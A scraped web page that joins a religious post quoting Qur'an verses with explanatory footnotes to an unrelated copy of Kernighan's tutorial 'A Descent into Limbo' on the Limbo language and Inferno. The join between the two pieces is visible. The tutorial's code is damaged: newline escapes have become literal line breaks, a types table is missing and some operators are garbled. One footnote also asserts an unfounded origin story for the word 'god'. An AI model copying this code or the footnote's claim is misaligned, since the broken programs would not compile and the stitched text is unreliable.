Some faces that Day will be beaming, with happiness laughing, rejoicing at the good news and other faces that Day will be dust-stained,
Darkness will cover them: Such will be the Rejectors of The One True G-D, the doers of wickedness.
(Verses from the Holy ***Qur’an)
*G-D instead of god which spelt backwards is dog. This is not a respectful spelling of a term to be used in reference to the Lord-Creator of the Heavens and Earth. The English spelling of god was created by the same satanic minds who invented Santa Claus.
**WE, US, OUR are references in the Holy Qur’an to all of the forces of power (Angels) under the control of The Creator. They manage all creation.They are totally obedient to The All-Mighty G-D,and obeys HIS Commands without question.
*** The Qur’an was revealed to Muhammed Ibn (the son of) Abdullah in the 7th century.
He received this revelation over a 23 years time period from the Angel Gabriel.
Muhammed was just like the majority of Arabs at that time, he could neither read nor write.
The Revelation was given to him by the Angel Gabriel and implanted in his memory.
Muhammed, then recited it to his fellow Arabs.
The majority of his followers, who heard the recitation of the Qur’anic verses, from Muhammed; in turn memorised what they had heard.
After Muhammed death his son-in-law Uthman; who was the third leader of the growing Muslim community, after Muhammed’s passing; had these memorised verses of the Qur’an compiled into a book form.
He gathered a majority of those who had heard the recitation from the Prophet Muhammed and had memorised it, to testify to the authenticity of what had been compiled into the book.
They all verified that it was exactly the same as they had heard the Prophet recite it.
The Prophet is referred to in many verses in the Qur’an as being unlettered.
An unlettered Prophet sent to an unlettered people.
READ ALSO:
AdvertisementsA Descent into Limbo
Brian W. Kernighan
bwk@bell-labs.com
Revised April 2005 by Vita Nuova
ABSTRACT
‘‘If, reader, you are slow now to believe
What I shall tell, that is no cause for wonder,
For I who saw it hardly can accept it.’’
Dante Alighieri, Inferno, Canto XXV.
Limbo is a new programming language, designed by Sean Dorward, Phil Winterbottom, and Rob Pike. Limbo borrows from, among other things, C (expression syntax and control flow), Pascal (declarations), Winterbottom’s Alef (abstract data types and channels), and Hoare’s CSP and Pike’s Newsqueak (processes). Limbo is strongly typed, provides automatic garbage collection, supports only very restricted pointers, and compiles into machine-independent byte code for execution on a virtual machine.
This paper is a brief introduction to Limbo. Since Limbo is an integral part of the Inferno system, the examples here illustrate not only the language but also a certain amount about how to write programs to run within Inferno.
1. Introduction
This document is a quick look at the basics of Limbo; it is not a replacement for the reference manual. The first section is a short overview of concepts and constructs; subsequent sections illustrate the language with examples. Although Limbo is intended to be used in Inferno, which emphasizes networking and graphical interfaces, the discussion here begins with standard text-manipulation examples, since they require less background to understand.
Modules:
A Limbo program is a set of modules that cooperate to perform a task. In source form, a module consists of a module declaration that specifies the public interface - the functions, abstract data types, and constants that the module makes visible to other modules - and an implementation that provides the actual code. By convention, the module declaration is usually placed in a separate.m file so it can be included by other modules, and the implementation is stored in a.b file. Modules may have multiple implementations, each in a separate implementation file.
Modules are always loaded dynamically, at run time: the Limbo load operator fetches the code and performs run-time type checking. Once a module has been loaded, its functions can be called. Several instances of the same module type can be in use at once, with possibly different implementations.
Limbo is strongly typed; programs are checked at compile time, and further when modules are loaded. The Limbo compiler compiles each source file into a machine-independent byte-coded.dis file that can be loaded at run time.
Functions and variables:
Functions are associated with specific modules, either directly or as members of abstract data types within a module. Functions are visible outside their module only if they are part of the module interface. If the target module is loaded, specific names can be used in a qualified form like sys->print or without the qualifier if imported with an explicit import statement.
Besides normal block structure within functions, variables may have global scope within a module; module data can be accessed via the module pointer.
Data:
The numeric types are:
The size and signedness of integral types are as specified above, and will be the same everywhere. Character constants are enclosed in single quotes and may use escapes like ’
’ or ’\udddd’, but the characters themselves are in Unicode and have type int. There is no enumeration type, but there is a con declaration that creates a named constant, and a special iota operation that can be used to generate unique values.
Limbo also provides Unicode strings, arrays of arbitrary types, lists of arbitrary types, tuples (in effect, unnamed structures with unnamed members of arbitrary types), abstract data types or adt’s (in effect, named structures with function members as well as data members), reference types (in effect, restricted pointers that can point only to adt objects), and typed channels (for passing objects between processes).
A channel is a mechanism for synchronized communication. It provides a place for one process to send or receive an object of a specific type; the attempt to send or receive blocks until a matching receive or send is attempted by another process. The alt statement selects randomly but fairly among channels that are ready to read or write. The spawn statement creates a new process that, except for its stack, shares memory with other processes. Processes are pre-emptively scheduled by the Inferno kernel. (Inferno processes are sometimes called ‘‘threads’’ in other operating systems.)
Limbo performs automatic garbage collection, so there is no need to free dynamically created objects. Objects are deleted and their resources freed when the last reference to them goes away. This release of resources happens immediately (‘‘instant free’’) for non-cyclic structures; release of cyclic data structures might be delayed but will happen eventually. (The language allows the programmer to ensure a given structure is non-cyclic when required.)
Operators and expressions:
Limbo provides many of C’s operators, but not the?: or ‘comma’ (sequential execution) operators. Pointers, or ‘references’, created with ref, are restricted compared to C: they can only refer to adt values on the heap. There is no & (address of) operator, nor is address arithmetic possible. Arrays are also reference types, however, and since array slicing is supported, that replaces many of C’s pointer constructions.
There are no implicit coercions between types, and only a handful of explicit casts. The numeric types byte, int, etc., can be used to convert a numeric expression, as in
nl := byte 10;
and string can be used as a unary operator to convert any numeric expression to a string (in %g format) and to convert an array of bytes in UTF-8 format to a Limbo string value. In the other direction, the cast array of byte converts a string to its UTF-8 representation in an array of bytes.
Statements:
Statements and control flow in Limbo are similar to those in C. A statement is an expression followed by a semicolon, or a sequence of statements enclosed in braces. The similar control flow statements are
if ( expr ) stat
if ( expr ) stat else stat
while ( expr ) stat
for ( expr ; expr ; expr ) stat
do stat while ( expr ) ;
return expr ;
exit ;
The exit statement terminates a process and frees its resources. There is also a case statement analogous to C’s switch, but it differs in that it also supports string and range tests, and more critically, control flow does not ‘‘flow through’’ one arm of the case to another but stops without requiring an explicit break (in that respect it is closer to Pascal’s case statement, hence the change of name). A break or continue followed by a label causes a break out of, or the next iteration of, the enclosing construct that is labeled with the same label.
Comments begin with # and extend to the end of the line. There is no preprocessor, but an include statement can be used to include source code, usually module declaration files.
Libraries:
Limbo has an extensive and growing set of standard libraries, each implemented as a module. A handful of these (notably Sys, Draw, and Tk ) are included in the Inferno kernel because they will be needed to support almost any Limbo program. Among the others are Bufio, a buffered I/O package based on Plan 9’s Bio; Regex, for regular expressions; and Math, for mathematical functions. Some of the examples that follow provide the sort of functionality that might be a suitable module.
2. Examples
The examples in this section are each complete, in the sense that they will run as presented; I have tried to avoid code fragments that merely illustrate syntax.
2.1. Hello, World
The first example is the traditional ‘‘hello, world’’, in the file hello.b :
implement Hello;
include "sys.m";
sys: Sys;
include "draw.m";
Hello: module
{
init: fn(ctxt: ref Draw->Context, args: list of string);
};
init(ctxt: ref Draw->Context, args: list of string)
{
sys = load Sys Sys->PATH;
sys->print("hello, world
");
}
An implementation file implements a single module, named in the implement declaration at the top of the file. The two include lines copy interface definitions from two other modules, Sys (which describes a variety of system functions like print ), and Draw (which describes a variety of graphics types and functions, only one of which, Context, is used here).
The module declaration defines the external interface that this module presents to the rest of the world. In this case, it’s a single function named init. Since this module is to be called from a command interpreter (shell), by convention its init function takes two arguments, the graphical context and a list of strings, the command-line arguments, though neither is used here. This is like main in a C program. Essentially all of the other examples begin with this standard code. Commands are unusual, though, in that a command’s module declaration appears in the same file as its implementation.
Most modules have a more extensive set of declarations; for example, draw.m is 298 lines of constants, function prototypes, and type declarations for graphics types like Point and Rect, and sys.m is 160 lines of declarations for functions like open, read, and print. Most module declarations are therefore stored in separate files, conventionally suffixed with.m, so they can be included in other modules. The system library module declaration files are collected in the module directory at the root of the Inferno source tree. Modules that are components of a single program are typically stored in that program’s source directory.
The last few lines of hello.b are the implementation of the init function, which loads the Sys module, then calls its print function. By convention, each module declaration includes a pathname constant that points to the code for the module; this is the second parameter Sys->PATH of the load statement. Note that the Draw module is not loaded because none of its functions is used, but it is included to define the type Draw->Context.
Compiling and Running Limbo Programs
With this much of the language described, we can compile and run this program. On Unix or Windows, the command
$ limbo -g hello.b
creates hello.dis, a byte-coded version of the program for the Dis virtual machine. The -g argument adds a symbol table, useful for subsequent debugging. (Another common option is -w, which causes the compiler to produce helpful warnings about possible errors.) The program can then be run as hello in Inferno; this shows execution under the Inferno emulator on a Unix system:
$ limbo -g hello.b
$ emu
; /usr/bwk/hello
hello, world
;
From within Inferno, it’s also possible to run a program by selecting it from a menu. In any case, as the program runs, it loads as necessary other modules that it uses.
2.2. A Graphical "Hello World"
The following module creates and displays a window containing only a button with the label ‘‘hello, world’’ as shown in the screen shot in Figure 1.
implement Hello2;
include "sys.m";
sys: Sys;
include "draw.m";
draw: Draw;
include "tk.m";
tk: Tk;
include "tkclient.m";
tkclient: Tkclient;
Hello2: module
{
init: fn(ctxt: ref Draw->Context, args: list of string);
};
init(ctxt: ref Draw->Context, args: list of string)
{
sys = load Sys Sys->PATH;
tk = load Tk Tk->PATH;
tkclient = load Tkclient Tkclient->PATH;
tkclient->init();
(t, nil) := tkclient->toplevel(ctxt, "", "Hello", Tkclient->Plain);
tk->cmd(t, "button.b -text {hello, world}");
tk->cmd(t, "pack.b");
tk->cmd(t, "update");
tkclient->onscreen(t, nil);
sys->sleep(10000); # wait 10 seconds
}
Figure 1. ‘Hello, world’ button.
This is not very exciting, but it illustrates the absolute minimum required to get a picture on the screen. The Tk module is modeled closely after John Ousterhout’s Tk interface toolkit, but Limbo is used as the programming language instead of Tcl. The Inferno version is similar in functionality to the original Tk but it does not support any Tcl constructs, such as variables, procedures, or expression evaluation, since all processing is done using Limbo. There are ten functions in the Tk interface, only one of which is used here: cmd, which executes a command string. (It is the most commonly used Tk function.)
Tk itself displays graphics and handles mouse and keyboard interaction within a window. There can however be many different windows on a display. A separate window manager, wm, multiplexes control of input and output among those windows. The module Tkclient provides the interface between the window manager and Tk. Its function toplevel, used above, makes a top-level window and returns a reference to it, for subsequent use by Tk. The contents of the window are prepared by calls to tk->cmd before the window is finally displayed by the call to onscreen. (The second parameter to onscreen, a string, controls the position and style of window; here we take the default by making that nil.)
Note that Tkclient must also be explicitly initialized by calling its init function after loading. This is a common convention, although some modules do not require it (typically those built in to the system, such as Sys or Tk ).
The sleep delays exit for 10 seconds so the button can be seen. If you try to interact with the window, for instance by pressing the button, you will see no response. That is because the program has not done what is required to receive mouse or keyboard input in the window. In a real application, some action would also be bound to pressing the button. Such actions are handled by setting up a connection (a ‘channel’) from the Tk module to one’s own code, and processing the messages (‘events’) that appear on this channel. The Tk module and its interface to the window manager is explained in more detail later, as are a couple of other constructions, after we have introduced processes and channels.
2.3. Echo
The next example, echo, prints its command-line arguments. Declarations are the same as in the first example, and have been omitted.
# declarations omitted...
init(ctxt: ref Draw->Context, args: list of string)
{
sys = load Sys Sys->PATH;
args = tl args; # skip over program name
for (s := ""; args!= nil; args = tl args)
s += " " + hd args;
if (s!= "") # something was stored in s
sys->print("%s
", s[1:]);
}
The arguments are stored in a list. Lists may be of any type; args is a list of string. There are three list operators: hd and tl return the head and tail of a list, and :: adds a new element to the head. In this example, the for loop walks along the args list until the end, printing the head element ( hd args ), then advancing ( args = tl args ).
The value nil is the ‘‘undefined’’ or ‘‘explicitly empty’’ value |
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